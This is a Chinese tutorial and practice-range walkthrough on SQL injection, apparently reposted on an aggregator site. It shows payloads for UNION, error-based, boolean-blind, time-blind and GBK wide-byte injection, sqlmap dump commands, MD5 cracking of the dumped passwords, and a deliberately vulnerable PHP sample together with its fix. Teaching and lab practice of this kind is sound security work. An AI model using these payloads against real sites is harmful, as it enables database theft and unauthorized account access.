渗透测试-SQL注入检测

article/2025/7/15 5:42:10

什么是SQL注入?来看一下下面的案例场景,这是正常情况下的登陆场景:
在这里插入图片描述
而当我们使用 用户名‘:– 的时候,密码随便输入也可以登陆成功
在这里插入图片描述
这时候对比两条sql就能发现,其实用户通过在用户名写入的sql符号将内部sql提前结束,并且将后半句检索条件注释起来达到免密码登陆效果

小结: SQL注入就是本来我只有我能操作数据库,本来只是让你输入内容就走,而你却输入命令,从而在我不知情下操作数据库。

注入点检测

Web应用的主要注入点有:

  1. POST请求体中的参数;
  2. GET请求头URL中的参数;
  3. Cookie。

闭合类型

1、数字型

URL:    http://localhost/index.php?id=1
SQL语句:SELECT * FROM users WHERE id=1 LIMIT 0,1
注入语句:http://localhost/index.php?id=1 and 1=1 %23
SQL语句:SELECT * FROM users WHERE id=1 and 1=1 # LIMIT 0,1

2、字符型

URL:    http://localhost/index.php?id=1
SQL语句:SELECT * FROM users WHERE id='1' LIMIT 0,1
注入语句:http://localhost/index.php?id=1' and 1=1 %23
SQL语句:SELECT * FROM users WHERE id='1' and 1=1 #' LIMIT 0,1

3、其他变体

URL:    http://localhost/index.php?id=1
SQL语句:SELECT * FROM users WHERE id=('1') LIMIT 0,1
注入语句:http://localhost/index.php?id=1') and 1=1 %23
SQL语句:SELECT * FROM users WHERE id=('1') and 1=1 #') LIMIT 0,1

字符型注入

测试字符串变体预期结果
N/ A触发数据库返回错误
’ or ‘1’ = '1') or (‘1’ = '1永真,返回所有行
’ or ‘1’ = '2') or (‘1’ = '2空,不影响返回结果
’ and ‘1’ = '2') and (‘1’ = '2永假,返回空

如果系统限制了某些字符不能输入,我们可以对相关字符进行URL编码转换后尝试绕过,常见需要编码的字符如下:

  • 加号(+)编码为:%2B
  • 等号(=)编码为:%3D
  • 单引号(’)编码为:%27
  • 注释号(#)编码为:%23

数字型注入

测试字符串变体预期结果
N/ A触发数据库返回错误
or 1 = 1) or (1 = 1永真,返回所有行
or 1 = 2) or (1 = 2空,不影响返回结果
and 1 = 2) and (1 = 2永假,返回空

终止式注入

测试字符串变体预期结果
’ ; - -’ ) ; - -字符串参数,返回指定行集
’ ; #’ ) ; #字符串参数,返回指定行集
’ or ‘1’ = ‘1’ ; - -’ ) or ‘1’ = ‘1’ ; - -永真,返回所有行
’ and ‘1’ = ‘2’ ; - - +’ ) and ‘1’ = ‘2’ ; - - +永假,返回空
and 1 = 2 #) and 1 = 2 #永假,返回空

Union回显

理论基础

【HTTP头部详解】

  1. User-Agent:使得服务器能够识别客户使用的操作系统,游览器版本等。
  2. Cookie:网站为了辨别用户身份、进行 session 跟踪而储存在用户本地终端上的数据。
  3. X-Forwarded-For:它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。
  4. Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的。
  5. Host:访问的WEB服务器的域名/IP 地址和端口号。

基本上都是服务器需要保存以上信息时,但没有过滤就直接存入数据库中就可能会导致HTTP头注入。

【Union联合查询】

UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

注意:

  1. UNION 内部的 SELECT 语句必须拥有相同数量的列。
  2. 列也必须拥有相似的数据类型。
  3. 同时,每条 SELECT 语句中的列的顺序必须相同。

SQL UNION 语法

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。

【例子】下面的例子中使用的原始表:
Employees_China:在这里插入图片描述

攻击过程

【靶机环境】墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述
【注入点测试】

设置网页代理,进入墨者的任性网页,打开BurpSuite抓包,右键发送给repeater在这里插入图片描述自己填入X-Forwarded-For,然后判断是否可注入:
在这里插入图片描述在这里插入图片描述

【判断字段数】

接着使用order by 判断后台SQL查询语句的字段(表)的数量,最后发现是4:
在这里插入图片描述在这里插入图片描述

【查询出表名】

然后通过union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())可知表名为comment,flag,goods,user
在这里插入图片描述

【查询出列名】

接着通过union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')可知列名为id,flag
在这里插入图片描述

【查询出数据】

最后通过union select 1,2,3,(select group_concat(flag) from flag)可得flag的数值bd631cfd729bdbe4336455f659c0d2d5:

在这里插入图片描述
返回初始页面,填入到flag处获取最终key:
在这里插入图片描述
在这里插入图片描述

报错盲注

理论基础

报错注入:extractvalueupdatexml报错原理

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的两个函数:extractvalue、updatexml

名称描述
ExtractValue()使用XPath表示法从XML字符串中提取值
updatexml()返回替换的XML片段

通过这两个函数可以完成报错注入。

extractvalue函数

ExtractValue(xml_frag, xpath_expr)

ExtractValue()接受两个字符串参数:

  1. 第一个参数可以传入目标xml文档;
  2. 第二个参数是用Xpath路径法表示的查找路径。

例如:SELECT ExtractValue('<a><b><b/></a>', '/a/b'); 就是寻找前一段xml文档内容中的a节点下的b节点,这里如果Xpath格式语法书写错误的话,就会报错。这里就是利用这个特性来获得我们想要知道的内容
在这里插入图片描述
我们可以利用concat函数将想要获得的数据库内容拼接到第二个参数中,报错时作为内容输出。
在这里插入图片描述
详细解释

extractvalue() :对XML文档进行查询的函数。

其实就是相当于我们熟悉的HTML文件中用 <div><p><a>标签查找元素一样。

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

【例1】正常查询

select username from security.user where id=1 and (extractvalue(‘anything’,’/x/xx’))

第二个参数的位置格式为 /xxx/xx/xx/xx ,即使查询不到也不会报错。
在这里插入图片描述
使用concat()拼接 ‘ / ‘ 效果相同:

   select username from security.user where id=1 and (extractvalue(‘anything’,concat(/,(select database()))))

在这里插入图片描述这里在’anything’中查询不到 位置是 /database()的内容,但也没有语法错误,不会报错,下面故意写入语法错误:

 select username from security.user where id=1 and (extractvalue(‘anything’,concat(~,(select database()))))

在这里插入图片描述可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的

有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次最多查看32位。

这里查询前5位示意:

 select username from security.user where id=1 and (extractvalue(‘anything’,concat(#’,substring(hex((select database())),1,5))))

在这里插入图片描述
updatexml函数

UpdateXML(xml_target, xpath_expr, new_xml)
  1. xml_target:: 需要操作的xml片段
  2. xpath_expr: 需要更新的xml路径(Xpath格式)
  3. new_xml: 更新后的内容

此函数用来更新选定XML片段的内容,将XML标记的给定片段的单个部分替换为 xml_target 新的XML片段 new_xml ,然后返回更改的XML。xml_target替换的部分 与xpath_expr 用户提供的XPath表达式匹配。

如果未xpath_expr找到表达式匹配 ,或者找到多个匹配项,则该函数返回原始 xml_targetXML片段。所有三个参数都应该是字符串。使用方式如下:

mysql> SELECT->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a', '<e>fff</e>') AS val1,->   UpdateXML('<a><b>ccc</b><d></d></a>', '/b', '<e>fff</e>') AS val2,->   UpdateXML('<a><b>ccc</b><d></d></a>', '//b', '<e>fff</e>') AS val3,->   UpdateXML('<a><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val4,->   UpdateXML('<a><d></d><b>ccc</b><d></d></a>', '/a/d', '<e>fff</e>') AS val5-> \G
***********结果**************
val1: <e>fff</e>
val2: <a><b>ccc</b><d></d></a>
val3: <a><e>fff</e><d></d></a>
val4: <a><b>ccc</b><e>fff</e></a>
val5: <a><d></d><b>ccc</b><d></d></a>

这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错,报错内容含有错误的路径内容
在这里插入图片描述

攻击过程

【靶场环境】

墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述
注入点测试

  1. 判断是否存在注入点
    在这里插入图片描述
  2. 尝试注入Order by语句,确定为SQL盲注:
    在这里插入图片描述
    在这里插入图片描述

【解释】此处使用%23是注释字符“#”的URL转码!在浏览器URL中不能直接输入“#”这样的特殊字符!!若使用BurpSuite构造Payload则可以直接使用“#”,因为BP会自动进行转码!同时我们还可以使用注释“--+”来替换“#”,其中“+”是空格的意思,可以输入“-- 任意英文字符”验证。

在这里插入图片描述
来看看用“空格+任意字符”替代加号形成注释:
在这里插入图片描述
SQL手工盲注

言归正传,既然知道是SQL盲注,我们就需要用extractvalue函数来构造报错回显。

  1. 尝试爆出当前用户名称:' and extractvalue(1,concat(0x7e,(select user())))--+
    在这里插入图片描述
  2. 爆出当前数据库名称:' and extractvalue(1,concat(0x7e,(select database()))) %23
    在这里插入图片描述
  3. 爆出当前数据库中第一个表(加了limit 0,1)的名称:' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema = 'stormgroup' limit 0,1)))--+
    在这里插入图片描述
  4. 爆出当前表的字段的名称:' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = 'stormgroup' and table_name = 'member')))--+
    在这里插入图片描述
  5. 爆出用户名name字段值:' and extractvalue(1,concat(0x7e,(select name from member limit 1,1)))--+
    在这里插入图片描述
  6. 爆出用户密码password字段值:' and extractvalue(1,concat(0x7e,(select password from member limit 1,1)))--+
    在这里插入图片描述
  7. 爆到这里有个坑点,由于密码是32位的,且extractvalue()能查询字符串的最大长度为32位。然而此处“~”符号占用了1位,所以显示出来的密码只有31位。果然直接拿这个密码去MD5解密,直接解释失败:
    在这里插入图片描述
  8. 根据题目提示,要用到substr()函数,所以直接把被吞的最后一位单独截出来:' and extractvalue(1,concat(0x7e,(select substr(password,32,1) from member limit 1,1)))--+
    在这里插入图片描述
  9. 将得到的最后一位密码与之前31位密码拼接,进入MD5解密:
    在这里插入图片描述
  10. 返回网站登录页进行登录,登录成功,拿到Key,攻击结束:
    在这里插入图片描述

布尔盲注

理论基础

布尔盲注参考博客:https://www.jb51.net/article/93445.htm

攻击过程

【靶场环境】

墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述

注入点测试

  1. 测试PayLoad:http://219.153.49.228:48862/new_list.php?id=1'
    在这里插入图片描述
  2. 测试PayLoad:http://219.153.49.228:48862/new_list.php?id=1' and 1=1
    在这里插入图片描述
  3. 测试PayLoad:http://219.153.49.228:48862/new_list.php?id=1 and 1=1
    在这里插入图片描述

从上面可以看到,输入的语句如果符合SQL语法要求,页面就会显示内容(同时显示的内容都是一样的),否则不显示任何内容。这种情况下页面上的输出对于我们来说是完全没有用的,包括SQL执行出错的信息都不会在页面上显示。此时想通过执行SQL语句然后在页面上显示SQL执行之后返回的信息完全是不可能的。这就是一个典型的SQL布尔盲注,而且可以看出是数字型的SQL注入。

手工盲注测试

  1. 尝试使用extractvalue()函数回显报错:
    http://219.153.49.228:48862/new_list.php?id=1 and extractvalue(1,concat(0x7e,(select 20user())))
    在这里插入图片描述

  2. 使用length()函数猜测数据库名称的长度:
    (1) http://219.153.49.228:48862/new_list.php?id=1 and length(database())>9
    在这里插入图片描述
    (2) http://219.153.49.228:48862/new_list.php?id=1 and length(database())>10
    在这里插入图片描述

  3. 使用substr()函数逐一猜解数据库名称各位字母:
    (1)http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))>97
    在这里插入图片描述(2)http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))>120
    在这里插入图片描述
    (3)http://219.153.49.228:48862/new_list.php?id=1 and ascii(substr((select database()),1,1))=115
    在这里插入图片描述
    说明数据库名的第一个字母的ASCII码值为115(字母’s’)。后面9位字母依次类推,最后确定数据库名字为stormgroup

  4. 爆出数据库stormgroup中的表名(得到两个表member和notice):
    ascii(substr((select table_name from information_schema.tables where table_schema='stormgroup' limit 1,1),1,1))

  5. 爆出表中列名(得到menber表中列名name,password,status):
    ascii(substr((select column_name from information_schema.columns where table_name='获取到的表名' and table_schema='获取到的数据库名' limit 0,1),1,1))

  6. 爆出某列的具体数据:and ascii(substr((select concat(name) from stormgroup.member limit 1,1),1,1))

SQLMap

以上手工注入太麻烦了,可以使用SQLMap自动化工具进行注入。

  1. 跑出数据库库名,获取到的数据库名是stormgroup
    sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 –dbs
    在这里插入图片描述
  2. 跑表名,获取到的表是member和notice
    sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 -d stormgroup –tables
    在这里插入图片描述
  3. 直接跑出数据表member的内容
    sqlmap -u http://219.153.49.228:41361/new_list.php?id=1 -d stormgroup -t member --dump
    在这里插入图片描述
  4. 进行MD5解密,并拿到密码成功登录系统,获得Key:
    在这里插入图片描述

时间盲注

理论基础

【时间盲注】

  • 因为页面不会回显任何正确或者错误的信息,所以我们通过时间来判断是否存在时间盲注。
  • 意思就是说,根据我们的输入,来延时请求数据,观察请求时间是否存在延长,如果存在即是时间盲注。
  • 说白了就是让页面请求根据我们输入的延时时间来延时响应。

【函数解释】

  1. database(): 获取数据库名称;
  2. substr():截取字符串函数,语法——substr(字符串,起始位置,截取长度);
  3. ascii():返回字符串str的最左面字符的ASCII代码值;
  4. if(语句1,语句2,语句3) :如果语句1正确执行语句2,否则执行语句3。

攻击过程

【靶场环境】墨者学院在线靶场
在这里插入图片描述在这里插入图片描述在这里插入图片描述在这里插入图片描述
注入点测试

依次测试以下PayLoad:

1)http://219.153.49.228:44660/flag.php?type=1' and sleep(5) --+2)http://219.153.49.228:44660/flag.php?type=1 and sleep(5) --+3)http://219.153.49.228:44660/flag.php?type=1 and sleep(5) #
(4)http://219.153.49.228:44660/flag.php?type=1 and if(1=0,1,sleep(5)) --

经过测试发现,除了(1)不会延迟5秒后显示页面,(2)(3)(4)均会延迟5秒后显示页面,故可判断存在时间盲注!!
在这里插入图片描述
在这里插入图片描述
【手工盲注测试】

1、猜解数据库名称的长度

  http://ip/flag.php?type=1 and if(length(database())=12,sleep(5),1) --+

发现当length=12时发生时间注入:
在这里插入图片描述2、猜解数据库名称

  http://ip/flag.php?type=1 and if(ascii(substr(database(),1,1))=112,sleep(5),1) --+

逐一字母进行猜解,发现第一位为"P"(ASCII码为112),由此法最终获得数据库名称为“pentesterlab”:
在这里插入图片描述3、猜解表的长度:

  http://ip/flag.php?type=1 and if(length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=4,sleep(5),1) --

4、猜解表的名称:

  http://ip/flag.php?type=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),1,1))>96,sleep(5),1) --

5、猜解字段长度:

  http://ip/flag.php?type=1 and if(length((select column_name from information_schema.columns where table_name='flag' limit 1,1))=4,sleep(5),1)

6、猜解字段名:

 http://ip/flag.php?type=1 and if(ascii(substr((select column_name from  information_schema.columns where table_name=0x666c6167 limit 0,1),1,1))=105,sleep(4),1) --

7、猜解数据长度:

  http://ip/flag.php?type=1 and if(length((select flag from flag limit 0,1))=6,sleep(4),1)--

8、猜解数据内容:

  http://ip/flag.php?type=1 and if(ascii(substr((select flag from flag limit 0,1),1))=109,sleep(4),1)--

最终可以获得flag为“mozhe1”,返回首页进行验证,获得Key:
在这里插入图片描述攻击结束,同时此题可以直接SQLMap跑出数据!!!
在这里插入图片描述

宽字节注入

理论基础

尽管现在呼吁所有的程序都使用unicode编码,所有的网站都使用utf-8编码,来一个统一的国际规范。但仍然有很多,包括国内及国外(特别是非英语国家)的一些CMS,仍然使用着自己国家的一套编码,比如gbk,作为自己默认的编码类型。也有一些CMS为了考虑老用户,所以出了gbkutf-8两个版本。

我们就以gbk字符编码为示范,拉开帷幕。gbk是一种多字符编码,具体定义自行百度。但有一个地方尤其要注意:通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。在php中,我们可以通过输出echo strlen("和");来测试。当将页面编码保存为gbk时输出2,utf-8时输出3。

【宽字节注入】

这是一个老话题了,也被人玩过无数遍。但作为我们这篇文章的序幕,也是基础,是必须要提的。我们先搭建一个实验环境。暂且称之为phithon内容管理系统v1.0,首先先新建一个数据库,把如下压缩包中的sql文件导入——测试代码及数据库:http://pan.baidu.com/s/1eQmUArw 提取密码:75tu。

之后的phithon内容管理系统会逐步完善,但会一直使用这个数据表。源码很简单(注意先关闭自己php环境的magic_quotes_gpc):

<?php//连接数据库部分,注意使用了gbk编码,把数据库信息填写进去$conn = mysql_connect('localhost', 'root', 'toor!@#$') or die('bad!');mysql_query("SET NAMES 'gbk'");mysql_select_db('test', $conn) OR emMsg("连接数据库失败,未找到您填写的数据库");//执行sql语句$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;$sql = "SELECT * FROM news WHERE tid='{$id}'";$result = mysql_query($sql, $conn) or die(mysql_error()); //sql出错会报错,方便观察
?>
<!DOCTYPE html>
<html><head><meta charset="gbk" /><title>新闻</title></head>
<body>
<?php$row = mysql_fetch_array($result, MYSQL_ASSOC);echo "<h2>{$row['title']}</h2><p>{$row['content']}<p>\n";mysql_free_result($result);
?>
</body>
</html>

SQL语句是SELECT * FROM news WHERE tid='{$id}',就是根据文章的id把文章从news表中取出来。

在这个SQL语句前面,我们使用了一个addslashes函数,将$id的值转义。这是通常CMS中对SQL注入进行的操作,只要我们的输入参数在单引号中,就逃逸不出单引号的限制,无法注入。

如下图:
在这里插入图片描述
那么怎么逃过addslashes函数的限制呢?众所周知,addslashes函数产生的效果就是,'变成\',让引号变得不再是“单引号”,只是一撇而已。一般绕过方式就是,想办法处理\'前面的\

  1. 想办法给\前面再加一个\(或单数个即可),变成\\',这样\被转义了,'逃出了限制;
  2. 想办法把\弄没有。

我们这里的宽字节注入是利用mysql的一个特性,mysql在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。如果我们输入%df'看会怎样:
在这里插入图片描述我们可以看到,已经报错了。我们看到报错,说明sql语句出错,看到出错说明可以注入了。

为什么从刚才到现在,只是在'也就是%27前面加了一个%df就报错了?而且从图中可以看到,报错的原因就是多了一个单引号,而单引号前面的反斜杠不见了。这就是mysql的特性,因为gbk是多字节编码,他认为两个字节代表一个汉字,所以%df和后面的\也就是%5c变成了一个汉字“”,而'逃逸了出来。因为两个字节代表一个汉字,所以我们可以试试%df%df%27
在这里插入图片描述
不报错了。因为%df%df是一个汉字,%5c%27不是汉字,仍然是\'

那么MySQL怎么判断一个字符是不是汉字,根据gbk编码,第一个字节ASCII码大于128,基本上就可以了。比如我们不用%df,用%a1也可以:
在这里插入图片描述
%a1%5c他可能不是汉字,但一定会被mysql认为是一个宽字符,就能够让后面的%27逃逸了出来。于是我可以构造一个exp出来,查询管理员账号密码:
在这里插入图片描述

【漏洞修复方案】

部分CMS对宽字节注入有所了解,于是寻求解决方案。在php文档中,大家会发现一个函数,mysql_real_escape_string,文档里说了,考虑到连接的当前字符集。
在这里插入图片描述
于是,有的CMS就把addslashes替换成mysql_real_escape_string,来抵御宽字符注入。我们继续做试验,phithon内容管理系统v1.2:,就用mysql_real_escape_string来过滤输入:
在这里插入图片描述
我们来试试能不能注入:
在这里插入图片描述
一样没压力注入。为什么,明明我用了mysql_real_escape_string,但却仍然不能抵御宽字符注入。原因就是,你没有指定php连接mysql的字符集。我们需要在执行sql语句之前调用一下mysql_set_charset函数,设置当前连接的字符集为gbk。
在这里插入图片描述
就可以避免这个问题了:
在这里插入图片描述

原理参考链接:https://www.leavesongs.com/PENETRATION/mutibyte-sql-inject.html

攻击过程

墨者学院在线靶场
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
注入点判断

1、直接在URL后面添加"'"符号,发现无法注入:
在这里插入图片描述2、前面说了宽字节注入的原理是单引号'被转义成 \' ,无法构造SQL查询语句,故使用%df%27(%27是单引号的URL编码形式)让单引号成功逃逸:
在这里插入图片描述
手工注入测试

1、测试该URL后台SQL查询语句的字段数%df' order by 5-- +,最后发现为字段数为5:
在这里插入图片描述在这里插入图片描述2、测试可回显的字段位置并爆出数据库名称%df' union select 1,2,database(),4,5--+ ,最后发现第3和第5个字段的位置可以回显,同时爆出数据库名称为“ mozhe_discuz_stormgroup ”:
在这里插入图片描述在这里插入图片描述
在这里插入图片描述3、爆出数据库的表名%df' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()),4,5--+,结果如下图:
在这里插入图片描述4、爆出表中列名%df' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=0x73746f726d67726f75705f6d656d626572),4,5--+,这里爆字段需要注意一下,因为根据where=‘表’ 查字段名字的时候用到的单引号,也会被转义所以会出现以下报错:
在这里插入图片描述所以需要把表名转16进制(同时前面再加上0x):
在这里插入图片描述爆出列名的结果如下:
在这里插入图片描述5、最后爆出字段的值%df' union select 1,2,(select group_concat(password) from stormgroup_member),4,(select group_concat(name) from stormgroup_member)--+,结果如下:
在这里插入图片描述6、将获得的密码进行MD5解密,并返回系统的登录页面进行登录,拿到Key,结束攻击:
在这里插入图片描述在这里插入图片描述在这里插入图片描述
最后,关于SQL注入的测试如何绕过 WAF 过滤 ,可参见另一篇博文:渗透测试-浅析WAF绕过。


http://chatgpt.dhexx.cn/article/wNfKQ07S.shtml

相关文章

阿里安全SQL注入检测 前五名队伍分享

文章目录 1. 第一名 Waterdrop1.1 团队介绍1.2 算法方案解析1.2.1 样本分析1.2.2 问题求解1.2.3 数据处理1.2.4 监督学习与自训练1.2.5 模型结构2. 第二名 StanTheMan2.1 团队介绍2.2 算法方案解析2.2.1 赛题介绍2.2.2 赛题理解2.2.3 解题思路2.2.4 S1 数据解码

SQL注入与检测

1.应用场景 主要用于安全攻防, 帮助更加深入理解SQL注入的原理/操作/安全防护. 2.学习/参考 前言 正常的 SQL 调用可以帮我们从数据库中获取想要的数据&#xff0c;然而我们构建的 Web 应用是个应用程序&#xff0c;本身也可能存在安全漏洞&#xff0c;如果不加以注意&#x…

sqlmap-sql注入检测

SqlMap&#xff08;防sql注入&#xff09;使用手册 下载地址&#xff1a; Download and update sqlmapproject/sqlmap Wiki GitHub 下载后无须安装 依赖&#xff1a; 需要有python 2.6, 2.7 or 3.x的 使用: 在sqlmap的目录下 &#xff0c;使用 python sqlmap.py -u ht…

使用sqlmap检测sql注入漏洞

一、 sql注入概述并安装sqlmap漏洞查看工具 1、 sql注入概述 所谓SQL注入&#xff0c;就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串&#xff0c;最终达到欺骗服务器执行恶意的SQL命令。 它是利用现有应用程序&#xff0c;可以通过在Web表单中输入&…

sql注入在线检测(sqlmapapi)

之前一搞渗透的同事问我&#xff0c;sqlmapapi.py是干啥的&#xff0c;我猜很多人都玩过sqlmap&#xff0c;但玩过sqlmapapi的应该比较少&#xff0c;今天就和大家一起看看如何使用以及一些美的地方。 说白了&#xff0c;sqlmapapi.py就是提供了一个检查sql注入的接口&#xf…

SQLMap sql注入检测工具使用

摘要1&#xff1a;https://www.freebuf.com/sectool/164608.html 摘要2&#xff1a;https://blog.csdn.net/qq_33530840/article/details/82144515 sqlmap是一个开源的渗透测试工具&#xff0c;可以用来进行自动化检测&#xff0c;利用SQL注入漏洞&#xff0c;获取数据库服务器…

Python 开发 利用SQLmap API接口进行批量的SQL注入检测.(SRC挖掘)

目录&#xff1a; SQL注入检测步骤&#xff1a; &#xff08;1&#xff09;创建新任务记录任务ID. &#xff08;2&#xff09;设置任务ID的配置信息.(扫描信息) &#xff08;3&#xff09;启动对应ID的扫描任务. &#xff08;4&#xff09;获取对应ID的扫描状态. &#x…

使用sqlmap进行SQL注入检测

最近公司项目被扫描出有SQL注入的漏洞,通过百度之后,决定使用sqlmap进行SQL注入的检测。这里仅仅是记录一下注入检测的步骤。 检测前准备 sqlmap是一个python编写的工具,因此我们首先要进行python环境的搭建,然后再从sqlmap官网下载最新版本。 检测步骤 查看需要检测的注入…

安全测试之sql注入

目录 1. 概述1.1 web安全渗透测试分类web数据库安全&#xff08;sql注入漏洞&#xff09;web应用服务器安全&#xff08;文件上传漏洞&#xff0c;文件包含漏洞&#xff09;web客户端安全&#xff08;XSS跨站攻击&#xff09; 1.2 sql注入原理1.3 sql注入危害1.4 sql注入实现方…

渗透测试之sql注入

原文地址 什么是SQL注入&#xff1f; SQL 注入&#xff08;SQL Injection&#xff09;是发生在 Web 程序中数据库层的安全漏洞&#xff0c;是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理&#xff0c;导致攻击者可以在 Web 应用程序中事…

如何快乐地检测SQL注入

这估计大家也都发现了&#xff0c;测试SQL注入这种漏洞啊&#xff0c;又有WAF页面又没有明显的报错的情况下, 测试起来就是一个字&#xff0c;烦。 有waf&#xff1a; 我 and 11, 啪&#xff0c;它拦了。 我 order by, 啪&#xff0c;它拦了。 我 sleep(5), 啪&#xff0c;…

SQL注入(一)之原理与检测

一 SQL注入攻击原理 01 注射式攻击的原理 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作;注入攻击属于服务端攻击&#xff0c;他与操作系统、数据库类型、脚本语言类型无关总之一句话: 注入产生的原因是接受相关参数未经处理直接带入数据库查询操作。02 sql注入…

25显函数求导数

1、显函数求导数

人工智能之数学基础----隐函数求导和相关变化率

本章主要讲解隐函数求导和相关变化率&#xff0c;大家理解什么叫隐函数及其如何求导 隐函数求导 相关变化率 隐函数求导 首先我们来理清什么叫隐函数&#xff0c;讲解隐函数之前我们来讲显函数&#xff0c;因为隐函数是相对显函数而言的 y f ( x ) yf(x) yf(x)像这种函数中&am…

Python应用:画出任意二维函数的轨迹

一、提要 对于显函数&#xff0c;其曲线可以通过给出定义域和对应的函数值画出。然而对于一些隐函数&#xff0c;不能显式表达&#xff0c;其曲线如何画出&#xff1f;如果从定义域内&#xff0c;逐点求出函数值&#xff0c;然后画出点序就不是一个很好的主意。用计算方法求出所…

Matlab之函数绘图函数ezplot

一、功能 可以直接调用ezplot进行函数绘制 二、语法 1.ezplot(fun) 绘制表达式 fun(x) 在默认定义域 -2π < x < 2π 上的图形&#xff0c;其中 fun(x) 仅是 x 的显函数。 fun 可以是函数句柄、字符向量或字符串。 2.ezplot(fun,[xmin,xmax]) 绘制 fun(x) 在以下域…

隐函数作图

背景介绍 Matlab提供了一系列绘图函数&#xff0c;常见的包括绘制2D曲线的plot函数、绘制2D隐函数曲线的ezplot函数、绘制3D曲面的mesh和surf函数、绘制3D显函数曲面的ezmesh和ezsurf函数。值得注意的是&#xff0c;ez系列的绘图函数里只有ezplot是绘制隐函数曲线的&#xff0c…

基础30讲 第11讲 多元函数微分学

目录 综述1、基本概念1.1 平面点集邻域边界区域聚点 1.2 极限1.3 连续1.4 偏导数1.5 可微1.6 偏导数的连续性 2、多元函数微分法则2.1 链式求导法则2.2 隐函数存在定理&#xff08;公式法&#xff09; 3、多元函数的极值与最值3.1 概念3.2 无条件极值(数学公式计算只适用于2元)…

MATLAB符号函数绘制各种函数图像,ezplot()函数 ezplot3()函数

我们学习常遇见的函数种类有显函数&#xff0c;隐函数&#xff0c;参数方程三种&#xff0c;对于隐函数绘制图像比较麻烦&#xff0c;给大家介绍一种简单实用的一中画函数的方法。 函数介绍 二维曲线ezplot()函数 ezplot()函数用于绘制显函数&#xff0c;隐函数&#xff0c;…

9.5 隐函数求导法则

本篇内容我们说一下隐函数求导的法则&#xff0c;之前在初次接触导数的时候&#xff0c;我们有总结过一部分隐函数求导的内容&#xff0c;虽然和本篇的内容有一部分相似&#xff0c;但是可以再看一看用于对比理解。上正文。 一、概念阐明 1.什么叫隐函数&#xff1f; 形如F(x…